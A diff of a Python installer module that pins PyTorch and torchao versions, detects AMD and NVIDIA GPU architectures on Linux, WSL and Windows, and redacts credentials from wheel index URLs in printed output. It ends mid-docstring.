-    # Default for rocm7.1 and earlier: torch 2.x below 2.11
+    # rocm7.1 and earlier: torch 2.x below 2.11
     "_default": (
         "torch>=2.4,<2.11.0",
         "torchvision>=0.19,<0.26.0",
         "torchaudio>=2.4,<2.11.0",
     ),
 }
-# Windows AMD per-arch companion pins for the repo.amd.com index, mirroring the
-# install.ps1 / setup.ps1 floor maps (gfx120X and Strix Halo/Point use the rocm7.2
-# torch 2.11 trio). Pinning the companions keeps AMD's per-arch index -- which
-# publishes each independently -- from resolving an ABI-mismatched one. Unlisted
-# arches have no published floor, so stay bare. Bump with the PS maps at 2.12.x.
+# Windows AMD per-arch companion pins for the repo.amd.com index (mirrors the install.ps1 /
+# setup.ps1 floor maps): pinning stops the per-arch index (each published independently) from
+# resolving an ABI-mismatched companion. Unlisted arches have no floor, so stay bare.
 _WINDOWS_ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
     "gfx1201": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
     "gfx1200": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
@@ -103,33 +129,107 @@ _PYTORCH_WHL_BASE = (
     os.environ.get("UNSLOTH_PYTORCH_MIRROR") or "https://download.pytorch.org/whl"
 ).rstrip("/")
 
-# CUDA torch repair specs (see _ensure_cuda_torch). torchvision/torchaudio are
-# pinned to the torch<2.11 family rather than left bare: the install uses an
-# exclusive --index-url (no PyPI fallback), so a bare name could resolve a
-# torchvision built against a different torch major (e.g. 0.27 for torch 2.12)
-# and fail at runtime with an ABI mismatch. Same bounds as the _default ROCm
-# spec above, which targets the same torch family.
+
+def _strip_index_url_credentials(url: str) -> str:
+    """Strip userinfo (user:password@) AND query/fragment from a wheel index URL.
+
+    An authenticated pin must not leak credentials in printed output; query/fragment
+    may hold tokens and aren't part of the PEP 503 index identity. Host/path stay
+    exact. MUST match install.sh / setup.ps1 / install.ps1.
+    """
+    scheme, sep, rest = url.partition("://")
+    if not sep:
+        return url
+    rest = rest.split("?", 1)[0].split("#", 1)[0]  # drop query / fragment
+    authority, slash, tail = rest.partition("/")
+    host = authority.rpartition("@")[2]  # drop user:pass@ userinfo
+    return f"{scheme}://{host}{slash}{tail}"
+
+
+_URL_USERINFO_RE = re.compile(r"(https?://)[^/@\s`]+@")
+_URL_QUERY_VALUE_RE = re.compile(r"([?&][^=\s&`]+)=[^&#\s`]+")
+# URL-anchored so a bare "#..." (a shell comment in tool output) is never touched.
+_URL_FRAGMENT_RE = re.compile(r"(https?://[^\s`#]+)#[^\s`]+")
+
+
+def _redact_install_output(output: "bytes | str") -> str:
+    """Redact index-URL credentials (userinfo + query values + fragments) from captured
+    installer output before printing. uv/pip failure text embeds the failing --index-url
+    verbatim, which can carry a user:token@, ?token= or #token= secret. MUST match
+    install.sh / setup.ps1 / install.ps1's output sanitizers."""
+    text = output.decode(errors = "replace") if isinstance(output, bytes) else output
+    text = _URL_USERINFO_RE.sub(r"\1<redacted>@", text)
+    text = _URL_QUERY_VALUE_RE.sub(r"\1=<redacted>", text)
+    return _URL_FRAGMENT_RE.sub(r"\1#<redacted>", text)
+
+
+def _trim_index_path_slashes(url: str) -> str:
+    """Trim trailing slashes from the URL PATH only, preserving ?query / #fragment. A
+    whole-URL rstrip("/") corrupts a token that ends in "/" (e.g. base64 ...abc/) and a
+    single-slash strip leaves .../cu128// classifying as an empty leaf. MUST match
+    install.sh / setup.ps1 / install.ps1."""
+    value = url.strip()
+    match = re.fullmatch(r"([^?#]*)([?#].*)?", value)
+    if match is None:
+        return value.rstrip("/")
+    return match.group(1).rstrip("/") + (match.group(2) or "")
+
+
+def _torch_index_leaf(url: str) -> str:
+    """Final URL path segment, lowercased, query/fragment removed first.
+
+    So a token-authenticated pin (.../cu128?token=x) classifies as cu128 (a raw leaf
+    keeps the query, never equals the +cu128 tag, and force-reinstalls every update).
+    CLASSIFICATION only; the install keeps the full URL. MUST match install.sh /
+    setup.ps1 / install.ps1.
+    """
+    path = url.split("?", 1)[0].split("#", 1)[0]
+    return path.rstrip("/").rsplit("/", 1)[-1].lower()
+
+
+# CUDA torch repair specs (see _ensure_cuda_torch). torch 2.11 is allowed (torchao
+# 0.17 cpp loads cleanly, and the flash-attn/causal-conv1d/mamba wheels pass on 2.11).
+# torchvision/torchaudio are pinned (not bare) so the exclusive --index-url can't
+# resolve one built against a different torch major -> ABI mismatch.
 _CUDA_TORCH_PKG_SPEC: tuple[str, str, str] = (
-    "torch>=2.4,<2.11.0",
-    "torchvision>=0.19,<0.26.0",
-    "torchaudio>=2.4,<2.11.0",
+    "torch>=2.4,<2.12.0",
+    "torchvision>=0.19,<0.27.0",
+    "torchaudio>=2.4,<2.12.0",
 )
 
-# torchao's C++ extensions are built against ONE exact torch release; a newer
-# torch makes torchao skip its cpp kernels ("Skipping import of cpp extensions
-# due to incompatible torch version ...") and fall back to slow Python. Because
-# the torch pin above is a range (and every CUDA index now tops out at torch
-# 2.10), the torch actually installed drifts ahead of a fixed torchao pin. So
-# pick the torchao whose build matches the torch in the venv. Table: pytorch/ao#2919.
-#   torch 2.9.x  -> torchao 0.14.0 (today's pin; built for torch 2.9.0)
-#   torch 2.10.x -> torchao 0.16.0 (built for torch 2.10.0)
-#   torch 2.11.x -> torchao 0.17.0 (built for torch 2.11.0; reachable via ROCm rocm7.2)
-# Unknown/older torch keeps the conservative default (no regression vs today).
+# CPU torch repair specs (see _ensure_cpu_torch). Same bounds/reasoning as CUDA: the
+# /cpu index also serves newer torch, so a bare trio could resolve out of range or ABI-
+# mismatched.
+_CPU_TORCH_PKG_SPEC: tuple[str, str, str] = _CUDA_TORCH_PKG_SPEC
+
+# torchao's cpp extensions are pinned to ONE torch release AND CUDA major. A torch
+# mismatch just skips the cpp kernels (slow Python fallback); a CUDA mismatch fails
+# to import ("libcudart.so.12: cannot open shared object file"). The torch pin is a
+# range, so match torchao to the installed torch (table: pytorch/ao#2919):
+#   2.9.x            -> 0.14.0
+#   2.10.x, CUDA<=12 -> 0.16.0 (cpp built for 2.10, loads via the CUDA-12 wheel)
+#   2.10.x, CUDA>=13 -> 0.17.0 (cu130: 0.16.0's CUDA-12 cpp crashes on load; 0.17.0
+#                       targets torch 2.11 so its cpp is cleanly skipped, not crashed)
+#   2.11.x           -> 0.17.0 (reachable via CUDA or ROCm rocm7.2)
+# Unknown/older torch keeps the conservative default.
 _TORCHAO_DEFAULT_SPEC = "torchao==0.14.0"
-_TORCHAO_BY_TORCH_MINOR: dict[int, str] = {
-    10: "torchao==0.16.0",
-    11: "torchao==0.17.0",
-}
+_TORCHAO_TORCH_210_SPEC = "torchao==0.16.0"
+_TORCHAO_TORCH_210_CUDA13_SPEC = "torchao==0.17.0"
+_TORCHAO_TORCH_211_PLUS_SPEC = "torchao==0.17.0"
+# torch 2.10 built against CUDA >= this major can't load 0.16.0's CUDA-12 cpp.
+_TORCHAO_CUDA13_MIN_MAJOR = 13
+
+
+def _cuda_major_from_torch_version(torch_version: str) -> int | None:
+    """Extract the CUDA major from a torch local version tag, e.g. '2.10.0+cu130'
+    -> 13, '2.10.0+cu128' -> 12. Returns None for rocm/cpu/tagless builds."""
+    local = str(torch_version).split("+", 1)
+    if len(local) < 2 or not local[1].startswith("cu"):
+        return None
+    digits = re.sub(r"[^0-9].*", "", local[1][2:])  # 'cu130' -> '130'
+    if not digits:
+        return None
+    return int(digits) // 10  # '130' -> 13, '128' -> 12, '118' -> 11
 
 
 def _select_torchao_spec(torch_version: str | None) -> str:
@@ -151,8 +251,14 @@ def _select_torchao_spec(torch_version: str | None) -> str:
     if major != 2:
         return _TORCHAO_DEFAULT_SPEC
     if minor >= 11:
-        return _TORCHAO_BY_TORCH_MINOR[11]  # newest known build; covers 2.11+
-    return _TORCHAO_BY_TORCH_MINOR.get(minor, _TORCHAO_DEFAULT_SPEC)
+        return _TORCHAO_TORCH_211_PLUS_SPEC  # newest known build; covers 2.11+
+    if minor == 10:
+        # cu130+ can't load 0.16.0's CUDA-12 cpp; use 0.17.0 (cpp skipped, not crashed).
+        cuda_major = _cuda_major_from_torch_version(str(torch_version))
+        if cuda_major is not None and cuda_major >= _TORCHAO_CUDA13_MIN_MAJOR:
+            return _TORCHAO_TORCH_210_CUDA13_SPEC
+        return _TORCHAO_TORCH_210_SPEC
+    return _TORCHAO_DEFAULT_SPEC
 
 
 def _probe_installed_torch_version() -> str | None:
@@ -267,6 +373,13 @@ _GFX_TO_AMD_INDEX_ARCH: dict[str, str] = {
     "gfx1102": "gfx110X-all",  # RDNA 3
     "gfx1101": "gfx110X-all",
     "gfx1100": "gfx110X-all",
+    "gfx1036": "gfx103X-all",
+    "gfx1035": "gfx103X-all",  # RDNA 2 (RX 6000)
+    "gfx1034": "gfx103X-all",
+    "gfx1033": "gfx103X-all",
+    "gfx1032": "gfx103X-all",
+    "gfx1031": "gfx103X-all",
+    "gfx1030": "gfx103X-all",
     "gfx90a": "gfx90a",
     "gfx908": "gfx908",  # MI200/MI100
 }
@@ -388,9 +501,8 @@ def _detect_rocm_version() -> tuple[int, int] | None:
         try:
             with open(path) as fh:
                 parts = fh.read().strip().split("-")[0].split(".")
-            # Explicit length guard so we don't rely on the broad except
-            # below to swallow IndexError when the version file has a
-            # single component (e.g. "6\n" on a partial install).
+            # Explicit length guard: don't rely on the broad except below to
+            # swallow IndexError on a single-component version (e.g. "6\n").
             if len(parts) >= 2:
                 return int(parts[0]), int(parts[1])
         except Exception:
@@ -435,11 +547,10 @@ def _detect_rocm_version() -> tuple[int, int] | None:
         except Exception:
             pass
 
-    # Distro package-manager fallbacks. Package-managed ROCm installs can
-    # expose GPUs via rocminfo/amd-smi but lack /opt/rocm/.info/version and
-    # hipconfig, so probe dpkg (Debian/Ubuntu) and rpm (RHEL/Fedora/SUSE)
-    # for the rocm-core version. Matches install.sh::get_torch_index_url so
-    # `unsloth studio update` behaves like a fresh `curl | sh` install.
+    # Distro package-manager fallbacks: package-managed ROCm can expose GPUs via
+    # rocminfo/amd-smi but lack /opt/rocm/.info/version and hipconfig, so probe
+    # dpkg (Debian/Ubuntu) and rpm (RHEL/Fedora/SUSE) for the rocm-core version.
+    # Matches install.sh::get_torch_index_url so `studio update` == fresh install.
     for cmd in (
         ["dpkg-query", "-W", "-f=${Version}\n", "rocm-core"],
         ["rpm", "-q", "--qf", "%{VERSION}\n", "rocm-core"],
@@ -541,11 +652,10 @@ def _detect_windows_gfx_arch() -> str | None:
                 stderr = subprocess.DEVNULL,
                 timeout = 10,
             )
-            # Accept partial output even when hipinfo crashes (e.g. exit code
-            # 0xC0000005 / STATUS_ACCESS_VIOLATION on some RDNA 4 hosts): if
-            # gcnArchName is present in stdout the device was enumerated before
-            # the crash, so the arch is trustworthy.  Ignoring it causes a
-            # silent CPU PyTorch fallback (issue #6043).
+            # Accept partial output even when hipinfo crashes (e.g. 0xC0000005 /
+            # STATUS_ACCESS_VIOLATION on some RDNA 4 hosts): a gcnArchName in stdout
+            # means the device was enumerated pre-crash, so the arch is trustworthy.
+            # Ignoring it causes a silent CPU PyTorch fallback (issue #6043).
             text = result.stdout.decode(errors = "replace")
             # findall gets every gcnArchName line so multi-GPU hosts are
             # enumerable and HIP_VISIBLE_DEVICES selects correctly.
@@ -630,8 +740,8 @@ def _detect_windows_gfx_arch() -> str | None:
 _WIN_GPU_NAME_ARCH_TABLE: "list[tuple[str, str]]" = [
     (r"9070 XT|9080", "gfx1201"),  # RDNA 4 (Radeon RX 9070 XT / 9080)
     (r"9070|9060", "gfx1200"),  # RDNA 4 (Radeon RX 9070 / 9060)
-    # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+)
-    (r"8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max", "gfx1151"),
+    # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
+    (r"8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max", "gfx1151"),
     # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375)
     (
         r"890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]"
@@ -659,6 +769,142 @@ def _gfx_arch_from_gpu_name(name: str) -> "str | None":
     return None
 
 
+def _linux_amd_gfx_from_cpuinfo() -> "str | None":
+    """Infer gfx arch from /proc/cpuinfo on integrated AMD APUs (Strix Halo/Point)."""
+    try:
+        text = Path("/proc/cpuinfo").read_text(encoding = "utf-8", errors = "replace")
+    except OSError:
+        return None
+    if re.search(r"Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo", text, re.IGNORECASE):
+        return "gfx1151"
+    if re.search(
+        r"890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]"
+        r"|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33",
+        text,
+        re.IGNORECASE,
+    ):
+        return "gfx1150"
+    return None
+
+
+def _linux_amd_gfx_from_lspci() -> "str | None":
+    """First AMD display-class lspci line mapping to a known gfx arch. A non-AMD
+    controller can enumerate first (Intel/ASPEED before an AMD dGPU), so scan
+    them all. The vendor guard is case-SENSITIVE: a -i "ATI" would match
+    "CorporATIon" on every Intel/NVIDIA line. Whole-line matching also survives
+    the 0000: PCI domain prefix."""
+    lspci = shutil.which("lspci")
+    if not lspci:
+        return None
+    try:
+        result = subprocess.run(
+            [lspci, "-nn"],
+            stdout = subprocess.PIPE,
+            stderr = subprocess.DEVNULL,
+            text = True,
+            timeout = 10,
+        )
+    except Exception:
+        return None
+    if result.returncode != 0:
+        return None
+    for line in result.stdout.splitlines():
+        if not re.search(r"VGA compatible controller|3D controller|Display controller", line, re.I):
+            continue
+        if not re.search(r"AMD|ATI", line):
+            continue
+        arch = _gfx_arch_from_gpu_name(line)
+        if arch:
+            return arch
+    return None
+
+
+def _is_wsl() -> bool:
+    """True on WSL, where the AMD GPU is reached via /dev/dxg (not /dev/kfd)."""
+    if os.path.exists("/dev/dxg"):
+        return True
+    try:
+        with open("/proc/version", encoding = "utf-8", errors = "replace") as fh:
+            return "microsoft" in fh.read().lower()
+    except OSError:
+        return False
+
+
+def _wsl_rocm_runtime_present() -> bool:
+    """librocdxg (the WSL ROCDXG bridge that lets HIP reach the GPU over /dev/dxg)
+    under a ROCm lib dir. Its absence marks a WSL box whose ROCm was never set up."""
+    dirs = ["/opt/rocm/lib", "/opt/rocm/lib64"]
+    dirs += glob.glob("/opt/rocm-*/lib") + glob.glob("/opt/rocm-*/lib64")
+    return any(
+        os.path.exists(os.path.join(d, so))
+        for d in dirs
+        for so in ("librocdxg.so", "librocdxg.so.1")
+    )
+
+
+def _linux_amd_display_device_present() -> bool:
+    """Any AMD (vendor 0x1002) PCI display-class (0x03*) device in sysfs.
+    /proc/cpuinfo leaks the HOST CPU model into VMs/containers that received no
+    AMD GPU, so the CPU-model text alone is not GPU evidence; this is the
+    device-level check (mirrors install.sh _amd_gpu_present_via_pci)."""
+    try:
+        for dev in Path("/sys/bus/pci/devices").iterdir():
+            try:
+                if (dev / "vendor").read_text().strip() != "0x1002":
+                    continue
+                if (dev / "class").read_text().strip().startswith("0x03"):
+                    return True
+            except OSError:
+                continue
+    except OSError:
+        pass
+    return False
+
+
+def _infer_linux_amd_gfx_arch() -> "str | None":
+    """Infer gfx when ROCm runtime is absent but the host is a known AMD arch (unslothai#7301)."""
+    override = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower()
+    if override:
+        return override
+    if _is_wsl():
+        # cpuinfo/lspci see the host APU even on a WSL box whose ROCDXG runtime
+        # was never bootstrapped; inferring there would install per-arch ROCm
+        # wheels into an env that still can't expose the GPU. Skip unless that
+        # runtime is present -- WSL enumerates no PCI display device, so
+        # /dev/dxg + librocdxg IS the GPU evidence there.
+        if not _wsl_rocm_runtime_present():
+            return None
+    elif not _linux_amd_display_device_present():
+        # Native Linux: a VM/container on a Strix host still shows the host CPU
+        # model in /proc/cpuinfo while receiving no AMD GPU, so require an AMD
+        # display device before trusting the CPU-model inference. The lspci
+        # fallback reads the same PCI space and would find nothing here either.
+        return None
+    cpu_gfx = _linux_amd_gfx_from_cpuinfo()
+    if cpu_gfx:
+        return cpu_gfx
+    return _linux_amd_gfx_from_lspci()
+
+
+def _amd_arch_index_url(gfx_arch: str | None) -> str | None:
+    """Return the AMD per-arch pip index URL for a gfx arch (Linux + Windows).
+
+    Windows honors UNSLOTH_ROCM_WINDOWS_MIRROR (via _windows_rocm_index_url);
+    Linux honors UNSLOTH_AMD_ROCM_MIRROR -- the same var install.sh uses -- so a
+    mirrored/air-gapped Linux repair reaches the index install.sh chose rather
+    than falling back to repo.amd.com. Both default to repo.amd.com when unset.
+    """
+    if IS_WINDOWS:
+        return _windows_rocm_index_url(gfx_arch)
+    arch_family = _GFX_TO_AMD_INDEX_ARCH.get(gfx_arch or "")
+    if arch_family is None:
+        return None
+    base = (os.environ.get("UNSLOTH_AMD_ROCM_MIRROR") or "https://repo.amd.com/rocm/whl").rstrip(
+        "/"
+    )
+    return f"{base}/{arch_family}/"
+
+
 def _windows_rocm_index_url(gfx_arch: str | None) -> str | None:
     """Return the AMD pip index URL for the given GPU arch, or None if unsupported."""
     arch_family = _GFX_TO_AMD_INDEX_ARCH.get(gfx_arch or "")
@@ -686,9 +932,8 @@ def _detect_bnb_rocm_dll_ver() -> str | None:
             m = re.search(r"libbitsandbytes_rocm(\d+)\.dll", os.path.basename(dll))
             if m:
                 all_vers.append(m.group(1))
-    # Pick the highest numeric suffix so e.g. "713" wins over "72" when both
-    # variants are present. Glob order is not guaranteed, so always sort
-    # rather than stopping at the first match.
+    # Highest numeric suffix wins (e.g. "713" over "72"); glob order is not
+    # guaranteed, so sort rather than take the first match.
     return max(all_vers, key = lambda v: int(v)) if all_vers else None
 
 
@@ -805,17 +1050,14 @@ def _has_rocm_gpu() -> bool:
         if result.returncode == 0 and result.stdout.strip():
             if check_fn(result.stdout):
                 return True
-    # sysfs KFD topology fallback (Linux only) -- matches install.sh's
-    # runtime-only detection. On minimal package-managed installs (no
-    # rocminfo / no amd-smi tools), the kernel exposes AMD GPUs via
-    # /sys/class/kfd so `studio update` can still detect and repair.
+    # sysfs KFD topology fallback (Linux only) -- matches install.sh's runtime-only
+    # detection. On minimal package-managed installs (no rocminfo / amd-smi), the
+    # kernel exposes AMD GPUs via /sys/class/kfd so `studio update` can still repair.
     #
-    # Guard: reject any KFD node whose properties file reports a non-AMD
-    # vendor. With the NVIDIA open kernel module (driver 560+), NVIDIA GPUs
-    # can register KFD topology nodes with a non-zero gpu_id; those nodes
-    # have vendor_id 4318 (0x10DE) rather than the AMD value 4098 (0x1002).
-    # Without this check the fallback returns True on NVIDIA-only systems,
-    # causing _ensure_rocm_torch to install ROCm wheels on NVIDIA hardware.
+    # Guard: reject any KFD node whose properties file reports a non-AMD vendor. The
+    # NVIDIA open kernel module (driver 560+) registers KFD nodes with a non-zero
+    # gpu_id and vendor_id 4318 (0x10DE), not the AMD 4098 (0x1002); without this
+    # check the fallback returns True on NVIDIA-only hosts, installing ROCm wheels.
     if sys.platform != "win32":
         try:
             kfd_nodes = "/sys/class/kfd/kfd/topology/nodes"
@@ -829,12 +1071,10 @@ def _has_rocm_gpu() -> bool:
                         continue
                     if not gpu_id or gpu_id == "0":  # gpu_id 0 = CPU node
                         continue
-                    # Require AMD vendor_id 4098 (0x1002) in the properties file.
-                    # KFD properties files exist on every kernel that exposes
-                    # /sys/class/kfd, so absence of the file means we cannot
-                    # confirm AMD ownership -- skip the node rather than risk a
-                    # false positive (e.g. NVIDIA open driver KFD nodes that
-                    # lack a properties file on some kernel versions).
+                    # Require AMD vendor_id 4098 (0x1002). KFD properties files exist
+                    # on every kernel exposing /sys/class/kfd, so a missing file means
+                    # AMD ownership is unconfirmed -- skip the node rather than risk a
+                    # false positive (e.g. NVIDIA open-driver KFD nodes lacking it).
                     props_path = os.path.join(kfd_nodes, entry, "properties")
                     try:
                         with open(props_path) as fh:
@@ -961,13 +1201,10 @@ def _install_bnb_windows_rocm() -> bool:
     )
     if not _ok:
         return False
-    # After install: detect the actual ROCm DLL suffix shipped in the wheel and
-    # set BNB_ROCM_VERSION so bitsandbytes loads the correct DLL regardless of
-    # what torch.version.hip reports.  The wheel may ship an older suffix (e.g.
-    # "72") while torch reports a newer HIP version (e.g. 7.13); the env var
-    # override ensures bitsandbytes does not fail looking for a non-existent DLL.
-    # The worker subprocess inherits this env var automatically.
-    # Fall back to "72" if detection fails (e.g. install was a no-op / dry-run).
+    # Detect the actual ROCm DLL suffix in the wheel and set BNB_ROCM_VERSION so bnb
+    # loads the right DLL regardless of torch.version.hip (the wheel may ship "72"
+    # while torch reports 7.13). The worker subprocess inherits it; fall back to "72"
+    # if detection fails (e.g. a no-op / dry-run install).
     _env_ver = os.environ.get("BNB_ROCM_VERSION")
     _env_is_persisted_default = (
         os.environ.get(_BNB_ROCM_VERSION_SOURCE_ENV) == _BNB_ROCM_VERSION_SOURCE_SITECUSTOMIZE
@@ -982,13 +1219,11 @@ def _install_bnb_windows_rocm() -> bool:
         _persist_detected_version = True
     if _persist_detected_version:
         _persist_bnb_rocm_version(_ver)
-    # Make hipInfo.exe (shipped into the venv Scripts dir by the AMD torch
-    # wheel) resolvable via PATH for this process and every child python the
-    # installer spawns (import checks, precompile): bitsandbytes runs
-    # `hipinfo.exe` at import time to detect the GPU arch and logs a scary
-    # (harmless) ERROR + WARNING on every import when it is missing. The venv
-    # Scripts dir is on PATH only when the venv is activated, which neither
-    # Studio nor the installer's child processes ever do.
+    # Make hipInfo.exe (shipped into venv Scripts by the AMD torch wheel) resolvable
+    # via PATH for this process and every child python (import checks, precompile):
+    # bitsandbytes runs hipinfo.exe at import to detect the GPU arch and logs a scary
+    # (harmless) ERROR + WARNING when it is missing. Scripts is on PATH only for an
+    # activated venv, which neither Unsloth nor the installer's children ever do.
     _scripts_dir = os.path.dirname(sys.executable)
     if os.path.isfile(os.path.join(_scripts_dir, "hipInfo.exe")) and not shutil.which(
         "hipinfo.exe"
@@ -1000,13 +1235,18 @@ def _install_bnb_windows_rocm() -> bool:
 def _detect_cuda_torch_index_url() -> str:
     """Return the pytorch.org CUDA wheel index URL for the host's NVIDIA driver.
 
-    Mirrors install.sh::get_torch_index_url's CUDA ladder so `studio update`
-    repairs to the same wheel family a fresh `curl | sh` install would pick.
-    Probes nvidia-smi (PATH, then /usr/bin/nvidia-smi) and parses both the
-    legacy "CUDA Version:" and the newer "CUDA UMD Version:" spellings.
-    Defaults to cu126 when nvidia-smi is missing or the version is unreadable
-    (e.g. NVIDIA detected only via the /proc/driver/nvidia/gpus fallback).
+    Mirrors install.sh::get_torch_index_url's CUDA ladder so `studio update` repairs
+    to the same wheel family a fresh install would pick. Honours the explicit
+    overrides first (UNSLOTH_TORCH_INDEX_URL / _FAMILY) so a headless / CI install
+    never lets the host GPU decide. Otherwise probes nvidia-smi (parsing both "CUDA
+    Version:" and "CUDA UMD Version:"), defaulting to cu126 when unreadable.
     """
+    _override_url = os.environ.get("UNSLOTH_TORCH_INDEX_URL", "").strip()
+    if _override_url:
+        return _trim_index_path_slashes(_override_url)
+    _override_family = os.environ.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip()
+    if _override_family:
+        return f"{_PYTORCH_WHL_BASE}/{_override_family.strip('/')}"
     exe = shutil.which("nvidia-smi")
     if not exe and os.path.isfile("/usr/bin/nvidia-smi"):
         exe = "/usr/bin/nvidia-smi"
@@ -1041,6 +1281,157 @@ def _detect_cuda_torch_index_url() -> str:
     return f"{_PYTORCH_WHL_BASE}/{tag}"
 
 
+def _explicit_torch_index_url() -> "str | None":
+    """The wheel index URL pinned via UNSLOTH_TORCH_INDEX_URL / _FAMILY, else None.
+
+    Lets the CUDA/ROCm repair helpers honour the exact pinned family/URL instead
+    of re-probing the GPU. Mirrors install.sh::get_torch_index_url's override.
+    """
+    url = os.environ.get("UNSLOTH_TORCH_INDEX_URL", "").strip()
+    if url:
+        return _trim_index_path_slashes(url)
+    family = os.environ.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip()
+    if family:
+        return f"{_PYTORCH_WHL_BASE}/{family.strip('/')}"
+    return None
+
+
+def _is_pip_rocm_family_leaf(leaf: str) -> bool:
+    """True when a lowercased leaf names a pip --index-url ROCm family: an EXACT
+    rocm<digits>[.<digits>] leaf or a gfx leaf. A suffixed leaf (rocm-rel-7.2.1,
+    rocm7.2-private) starts with "rocm" but is a custom pin the verbatim path owns, so
+    match EXACTLY. Mirrors install.sh / setup.ps1.
+    """
+    # gfx must be followed by a digit (gfx90a, gfx1151, gfx120X-all): a gfx-prefixed
+    # custom leaf (gfx-private) is a verbatim pin, like rocm7.2-private.
+    return bool(re.fullmatch(r"rocm\d+(?:\.\d+)?", leaf)) or bool(re.match(r"gfx\d", leaf))
+
+
+def _explicit_rocm_torch_index_url() -> "str | None":
+    """The pinned wheel index URL when it names a pip ROCm family (rocm<d>/gfx*), else None."""
+    url = _explicit_torch_index_url()
+    if url is None:
+        return None
+    return url if _is_pip_rocm_family_leaf(_torch_index_leaf(url)) else None
+
+
+def _rocm_pin_family_mismatch(pin_url: str, installed_ver: str) -> bool:
+    """True when an explicit ROCm pin names a different ROCm family than the installed
+    ROCm torch, so the pin needs a reinstall. Mirrors setup.ps1's stale-venv comparison;
+    same three pin-leaf cases as _ensure_rocm_torch. A same-family pin is NOT a mismatch.
+    """
+    leaf = _torch_index_leaf(pin_url)
+    # Pinned ROCm version. The family classifier accepts a major-only rocm<d> leaf too,
+    # so parse the minor as optional; a major-only pin compares on the major alone.
+    _pin_rocm = re.match(r"^rocm(\d+)(?:\.(\d+))?", leaf)
+    _pin_major = int(_pin_rocm.group(1)) if _pin_rocm else None
+    _pin_ver = (
+        (int(_pin_rocm.group(1)), int(_pin_rocm.group(2)))
+        if _pin_rocm and _pin_rocm.group(2) is not None
+        else None
+    )
+    # Installed +rocmX.Y version; a THREE-part +rocmA.B.C tag is the AMD per-arch
+    # (repo.amd.com/gfx*) signature vs a two-part pytorch.org wheel.
+    _inst_rocm = re.search(r"\+rocm(\d+)\.(\d+)", installed_ver)
+    _inst_ver = (int(_inst_rocm.group(1)), int(_inst_rocm.group(2))) if _inst_rocm else None
+    _inst_is_perarch = re.search(r"\+rocm\d+\.\d+\.\d+", installed_ver) is not None
+    # A ROCm build MUST carry a +rocm tag; an untagged wheel never satisfies a ROCm pin.
+    _inst_has_rocm = re.search(r"\+rocm", installed_ver) is not None
+    # Installed torch RELEASE (before "+") is 2.11+.
+    _inst_rel = re.match(r"^(\d+)\.(\d+)", installed_ver)
+    _inst_is_211 = (
+        (int(_inst_rel.group(1)), int(_inst_rel.group(2))) >= (2, 11) if _inst_rel else False
+    )
+
+    if leaf.startswith("gfx"):
+        # 2.11-allowlist arches expect the AMD per-arch wheel (three-part +rocmA.B.C,
+        # torch 2.11+); a generic or pre-2.11 build is a mismatch.
+        if leaf in _ROCM_GFX_TORCH211_LEAVES:
+            return not (_inst_is_211 and _inst_is_perarch)
+        # Non-2.11 gfx leaf (<2.11 specs): mismatch on an untagged wheel or torch 2.11+.
+        return (not _inst_has_rocm) or _inst_is_211
+
+    # Major-only rocm pin (rocm7): compare majors only -- a +rocm6.4 wheel under a rocm7
+    # pin is a mismatch, any +rocm7.x wheel satisfies it (there is no pinned minor to
+    # compare, and the 2.11-line fallback below would invert both verdicts).
+    if _pin_major is not None and _pin_ver is None:
+        if _inst_ver is not None:
+            return _inst_ver[0] != _pin_major
+        # Untagged wheel never satisfies a ROCm pin; a +rocm tag with an unreadable
+        # version is accepted (matches the lenient unreadable fallback below).
+        return not _inst_has_rocm
+
+    # rocmX.Y pin. Only KNOWN-2.11 rocm is the 2.11 line (no speculative floor).
+    _pin_is_211 = _pin_ver in _ROCM_KNOWN_TORCH211_VERSIONS if _pin_ver is not None else False
+    if _pin_ver is not None and _inst_ver is not None:
+        # Both readable: exact (major, minor) compare (rocm7.2 pin over +rocm7.13.x ->
+        # mismatch, reinstall the pinned wheel).
+        if _pin_ver != _inst_ver:
+            return True
+        # Same family: a KNOWN-2.11 pin whose release drifted off 2.11 (2.12+rocm7.2)
+        # violates the spec -> reinstall to floor (exact compare, not >=2.11).
+        if _pin_is_211 and _inst_rel is not None:
+            if (int(_inst_rel.group(1)), int(_inst_rel.group(2))) != (2, 11):
+                return True
+        return False
+    # rocm pin, unreadable installed version: compare on the 2.11 line, but an untagged
+    # wheel never satisfies a rocmX.Y pin -> mismatch.
+    if not _inst_has_rocm:
+        return True
+    return _pin_is_211 != _inst_is_211
+
+
+def _explicit_cpu_torch_index_url() -> "str | None":
+    """The pinned wheel index URL when it names the CPU family (leaf == cpu), else None.
+
+    An explicit CPU pin (UNSLOTH_TORCH_INDEX_FAMILY=cpu or a URL ending in /cpu)
+    is authoritative -- see _ensure_cpu_torch.
+    """
+    url = _explicit_torch_index_url()
+    if url is None:
+        return None
+    return url if _torch_index_leaf(url) == "cpu" else None
+
+
+def _is_cuda_family_leaf(leaf: str) -> bool:
+    """True only for a real CUDA wheel-family leaf: "cu" + digits (cu118, cu128, ...).
+
+    A bare startswith("cu") would match "custom"/"current". The match is EXACT so
+    "cu128-private" is NOT a family leaf and routes to the verbatim path instead.
+    """
+    return re.fullmatch(r"cu[0-9]+", leaf) is not None
+
+
+def _explicit_cuda_torch_index_url() -> "str | None":
+    """The pinned wheel index URL when it names a CUDA family (leaf cuXXX), else None.
+
+    Mirrors _explicit_rocm/cpu_torch_index_url so _ensure_cuda_torch only treats a
+    *CUDA* pin as authority to override the NVIDIA-presence gate (an arbitrary mirror
